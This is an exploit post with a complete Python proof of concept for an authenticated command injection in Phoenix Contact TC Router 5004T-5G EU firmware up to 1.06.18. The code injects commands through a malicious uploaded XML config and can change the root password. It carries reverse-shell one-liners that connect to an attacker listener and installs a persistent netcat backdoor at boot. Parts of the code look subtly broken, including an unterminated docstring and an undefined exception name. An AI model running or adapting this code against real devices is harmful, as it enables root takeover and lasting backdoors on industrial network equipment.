📄 Phoenix Contact TC Router 5004T-5G EU 1.06.18 Authenticated Command Injection

==================================================================================================================================
    | # Title     : Phoenix Contact TC Router 5004T-5G EU 1.06.18 Authenticated Command Injection                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.phoenixcontact.com/                                                                                  |
    ==================================================================================================================================
    
    [+] Summary    :   authenticated command injection in certain Phoenix Contact TC Routers (5004T-5G EU, firmware ≤ 1.06.18).
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import os
    import sys
    import re
    import time
    import json
    import base64
    import socket
    import random
    import string
    import hashlib
    import argparse
    import requests
    import threading
    import urllib3
    from xml.etree import ElementTree as ET
    from urllib.parse import urljoin, urlparse
    
    urllib3.disable_warnings()
    
    # ======================
    # BANNER
    # ======================
    BANNER = """
    ╔═══════════════════════════════════════════════════════════════════════════╗
    ║	
    ║ ██╗███╗   ██╗██████╗  ██████╗ ██╗   ██╗███████╗██╗  ██╗██╗  ██╗ █████╗ 
    ║ ██║████╗  ██║██╔══██╗██╔═══██╗██║   ██║██╔════╝██║  ██║██║ ██╔╝██╔══██╗
    ║ ██║██╔██╗ ██║██   █╔╝██║   ██║██║   ██║███████╗███████║█████╔╝ ███████║
    ║ ██║██║╚██╗██║██╔══██╗██║   ██║██║   ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
    ║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║  ██║██║  ██╗██║  ██║
    ║ ╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝
    ║                                                                             ║
    ║            CVE-2025-41717 - Phoenix Contact TC Router                       ║
    ║              Authenticated Command Injection (Root)                        ║
    ║                                                                             ║
    ╚═════════════════════════════════════════════════════════════════════════════╝
    [+] Critical Vulnerability | Remote Code Execution as Root
    [+] Affected: TC Router 5004T-5G EU <= 1.06.18
    """
    class Config:
        SOCK_PORT = 14323
        CONFIG_UPLOAD_ENDPOINT = "/cgi-bin/config-upload"
        LOGIN_ENDPOINT = "/cgi-bin/login"
        SESSION_TIMEOUT = 30
        MAX_RETRIES = 3
    class MaliciousConfigGenerator:
        """Generating a malicious XML configuration file"""
        @staticmethod
        def generate(command: str, new_root_password: str = None) -> str:
            """
            Generating an XML configuration file containing the injected command.
    
    The vulnerability is in the smtp/from field where the command is injected.
            """
            if not new_root_password:
                new_root_password = MaliciousConfigGenerator.generate_random_password()
            injected_from = f"p () t com'$({command})'"
            config = f'''<?xml version="1.0" encoding="UTF-8"?>
    <config>
        <entry name="conf/smtp/auth">1</entry>
        <entry name="conf/smtp/from">{injected_from}</entry>
        <entry name="conf/smtp/local">1</entry>
        <entry name="conf/smtp/password">asdasdasd</entry>
        <entry name="conf/smtp/port">25</entry>
        <entry name="conf/smtp/server">192.168.19.138</entry>
        <entry name="conf/alerts/sock_enable">1</entry>
        <entry name="conf/alerts/sock_port">{Config.SOCK_PORT}</entry>
        <entry name="conf/alerts/sock_xml_io">0</entry>
        <entry name="conf/alerts/sock_xml_nl">1</entry>
    </config>'''
            return config
        @staticmethod
        def generate_random_password(length: int = 12) -> str:
            """Generate a random password"""
            chars = string.ascii_letters + string.digits + "!@#$%^&*"
            return ''.join(random.choices(chars, k=length))
        @staticmethod
        def generate_change_password_command(new_password: str) -> str:
            """Generate root password change command"""
            return f'echo "root:{new_password}"|chpasswd'
    class TCRouterClient:
        """The client to interact with the TC Router"""
        def __init__(self, target: str, username: str, password: str, verbose: bool = False):
            self.target = target.rstrip('/')
            self.username = username
            self.password = password
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/xml, text/xml, */*',
                'Content-Type': 'application/x-www-form-urlencoded'
            })
            self.authenticated = False
        def _log(self, msg: str, level: str = "INFO"):
            if level == "ERROR":
                print(f"[-] {msg}")
            elif level == "SUCCESS":
                print(f"[+] {msg}")
            elif level == "WARNING":
                print(f"[!] {msg}")
            else:
                print(f"[*] {msg}")
        def login(self) -> bool:
            """Device authentication"""
            login_url = urljoin(self.target, Config.LOGIN_ENDPOINT)
            self._log(f"Authenticating to {login_url}")
            data = {
                'username': self.username,
                'password': self.password
            }
            try:
                response = self.session.post(login_url, data=data, timeout=Config.SESSION_TIMEOUT)
                if response.status_code == 200:
                    if 'success' in response.text.lower() or response.cookies:
                        self.authenticated = True
                        self._log("Authentication successful", "SUCCESS")
                        return True
                    else:
                        self._log("Authentication failed: Invalid credentials", "ERROR")
                        return False
                else:
                    self._log(f"Authentication failed: HTTP {response.status_code}", "ERROR")
                    return False
            except Exception as e:
                self._log(f"Authentication error: {e}", "ERROR")
                return False
        def upload_config(self, config_xml: str) -> bool:
            """Uploading the malicious configuration file"""
            if not self.authenticated:
                self._log("Not authenticated. Call login() first.", "ERROR")
                return False
            upload_url = urljoin(self.target, Config.CONFIG_UPLOAD_ENDPOINT)
            self._log(f"Uploading malicious config to {upload_url}")
            files = {
                'config': ('malicious.xml', config_xml, 'application/xml')
            }
            try:
                response = self.session.post(upload_url, files=files, timeout=Config.SESSION_TIMEOUT)
                if response.status_code == 200:
                    self._log("Config uploaded successfully", "SUCCESS")
                    return True
                else:
                    self._log(f"Upload failed: HTTP {response.status_code}", "ERROR")
                    if self.verbose:
                        self._log(f"Response: {response.text[:200]}")
                    return False
            except Exception as e:
                self._log(f"Upload error: {e}", "ERROR")
                return False
        def trigger_sock_command(self, to_email: str = "[email protected]") -> bool:
            """Send an email via sock_server to execute the command"""
            self._log(f"Connecting to sock_server on port {Config.SOCK_PORT}...")
            xml_payload = f'''<?xml version="1.0"?>
    <email to="{to_email}">
        <subject>pwned</subject>
        <body>
        </body>
    </email>'''
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(Config.SESSION_TIMEOUT)
                sock.connect((self.target, Config.SOCK_PORT))
                self._log("Connected to sock_server, sending XML payload...")
                sock.send(xml_payload.encode())
                response = sock.recv(4096).decode()
                sock.close()
                if response:
                    self._log(f"Response received: {response[:200]}")
                    return True
                else:
                    return False
            except socket.timeout:
                self._log("Connection timeout", "WARNING")
                return False
            except ConnectionRefused:
                self._log("Connection refused. sock_server may not be enabled.", "WARNING")
                return False
            except Exception as e:
                self._log(f"Socket error: {e}", "ERROR")
                return False
    class ReverseShellHandler:
        """reverse shell connection management"""
        def __init__(self, port: int = 4444):
            self.port = port
            self.listener = None
            self.connection = None
    
        def start(self):
            """Start listening"""
            import threading
            def listen():
                try:
                    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                    server.bind(('0.0.0.0', self.port))
                    server.listen(1)
                    print(f"[*] Listening on port {self.port} for reverse shell...")
                    self.connection, addr = server.accept()
                    print(f"[+] Reverse shell connected from {addr[0]}:{addr[1]}")
                    while True:
                        cmd = input("\033[91mroot@router\033[0m# ")
                        if cmd.lower() == 'exit':
                            break
                        self.connection.send((cmd + '\n').encode())
                        data = self.connection.recv(4096).decode()
                        print(data, end='')
                    self.connection.close()
                    server.close()
                except Exception as e:
                    print(f"[-] Listener error: {e}")
            thread = threading.Thread(target=listen, daemon=True)
            thread.start()
            return thread
        def generate_reverse_shell_cmd(self, lhost: str, lport: int) -> str:
            """Generate a device-compatible reverse shell command.""
            reverse_shells = [
                f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
                f"nc -e /bin/sh {lhost} {lport}",
                f"telnet {lhost} {lport} | /bin/sh | telnet {lhost} {lport}",
                f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
                f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
            ]
            return reverse_shells[0] 
    class TCRouterExploit:
        """main exploitation"""
        def __init__(self, target: str, username: str, password: str, verbose: bool = False):
            self.target = target
            self.username = username
            self.password = password
            self.verbose = verbose
            self.client = TCRouterClient(target, username, password, verbose)
        def execute_command(self, cmd: str) -> bool:
            """Executing a direct order"""
            print("\n[*] Generating malicious configuration...")
            config = MaliciousConfigGenerator.generate(cmd)
            if self.verbose:
                print(f"\n[DEBUG] Malicious config:\n{config}\n")
            if not self.client.upload_config(config):
                self._log("Failed to upload config", "ERROR")
                return False
            time.sleep(2)
            self._log("Triggering command execution via sock_server...")
            if self.client.trigger_sock_command():
                self._log("Command executed successfully!", "SUCCESS")
                return True
            else:
                self._log("Failed to trigger command", "WARNING")
                return False
        def change_root_password(self, new_password: str) -> bool:
            """Change root password"""
            cmd = MaliciousConfigGenerator.generate_change_password_command(new_password)
            self._log(f"Changing root password to: {new_password}")
            return self.execute_command(cmd)
        def reverse_shell(self, lhost: str, lport: int) -> bool:
            """Turning on reverse shell"""
            handler = ReverseShellHandler(lport)
            handler.start()
            cmd = handler.generate_reverse_shell_cmd(lhost, lport)
            self._log(f"Executing reverse shell to {lhost}:{lport}")
            time.sleep(1)
            return self.execute_command(cmd)
        def upload_persistent_backdoor(self) -> bool:
            """Permanent rear door lift"""
            backdoor_script = '''#!/bin/sh
    # Persistent backdoor
    while true; do
        nc -l -p 31337 -e /bin/sh
        sleep 1
    done
    '''
            b64_backdoor = base64.b64encode(backdoor_script.encode()).decode()
            commands = [
                f'echo "{b64_backdoor}" | base64 -d > /etc/init.d/S99backdoor',
                'chmod +x /etc/init.d/S99backdoor',
                '/etc/init.d/S99backdoor &'
            ]
            for cmd in commands:
                if not self.execute_command(cmd):
                    return False
                time.sleep(1)
            self._log("Persistent backdoor installed on port 31337", "SUCCESS")
            return True
        def _log(self, msg: str, level: str = "INFO"):
            if level == "ERROR":
                print(f"[-] {msg}")
            elif level == "SUCCESS":
                print(f"[+] {msg}")
            elif level == "WARNING":
                print(f"[!] {msg}")
            else:
                print(f"[*] {msg}")
        def run(self, cmd: str = None, change_password: str = None, reverse_shell: tuple = None) -> bool:
            """Operating exploitation"""
            print(BANNER)
            self._log(f"Target: {self.target}")
            self._log(f"Username: {self.username}")
            if not self.client.login():
                self._log("Authentication failed. Check credentials.", "ERROR")
                return False
            if reverse_shell:
                return self.reverse_shell(reverse_shell[0], reverse_shell[1])
            elif change_password:
                return self.change_root_password(change_password)
            elif cmd:
                return self.execute_command(cmd)
            else:
                return self.interactive_shell()
        def interactive_shell(self):
            """Interactive shell via device"""
            self._log("Entering interactive shell mode. Type 'exit' to quit.")
            self._log("Commands will be executed as root on the device.\n")
    
            while True:
                try:
                    cmd = input("\033[91mTC-Router#\033[0m ").strip()
                    if cmd.lower() in ['exit', 'quit']:
                        break
                    if cmd:
                        self.execute_command(cmd)
                except KeyboardInterrupt:
                    print("\n[*] Exiting...")
                    break
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-41717 - Phoenix Contact TC Router Command Injection",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.100 -u admin -p admin -c "id"
      python3 exploit.py -t 192.168.1.100 -u admin -p admin --reverse-shell --lhost 10.0.0.5 --lport 4444
      python3 exploit.py -t 192.168.1.100 -u admin -p admin --change-password newpass123
      python3 exploit.py -t 192.168.1.100 -u admin -p admin -i
      python3 exploit.py -t 192.168.1.100 -u admin -p admin --backdoor
            """
        )
        parser.add_argument("-t", "--target", required=True, help="Target IP address")
        parser.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
        parser.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
        parser.add_argument("-c", "--cmd", help="Command to execute on the device")
        parser.add_argument("-i", "--interactive", action="store_true", help="Interactive shell mode")
        parser.add_argument("--reverse-shell", action="store_true", help="Start reverse shell")
        parser.add_argument("--lhost", default="127.0.0.1", help="Listener IP for reverse shell")
        parser.add_argument("--lport", type=int, default=4444, help="Listener port for reverse shell")
        parser.add_argument("--change-password", metavar="NEW_PASSWORD", help="Change root password")
        parser.add_argument("--backdoor", action="store_true", help="Install persistent backdoor")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        exploit = TCRouterExploit(
            target=args.target,
            username=args.username,
            password=args.password,
            verbose=args.verbose
        )
        try:
            if args.reverse_shell:
                success = exploit.run(reverse_shell=(args.lhost, args.lport))
            elif args.change_password:
                success = exploit.run(change_password=args.change_password)
            elif args.backdoor:
                if not exploit.client.login():
                    print("[-] Authentication failed")
                    sys.exit(1)
                success = exploit.upload_persistent_backdoor()
            elif args.cmd:
                success = exploit.run(cmd=args.cmd)
            elif args.interactive:
                success = exploit.run()
            else:
                print("[*] No action specified. Running test command...")
                success = exploit.run(cmd="id")
            if success:
                print("\n[+] Exploit completed successfully!")
            else:
                print("\n[-] Exploit failed. Check credentials or target version.")
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user")
            sys.exit(130)
        except Exception as e:
            print(f"[-] Error: {e}")
            if args.verbose:
                import traceback
                traceback.print_exc()
            sys.exit(1)
    if __name__ == "__main__":
        main()
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================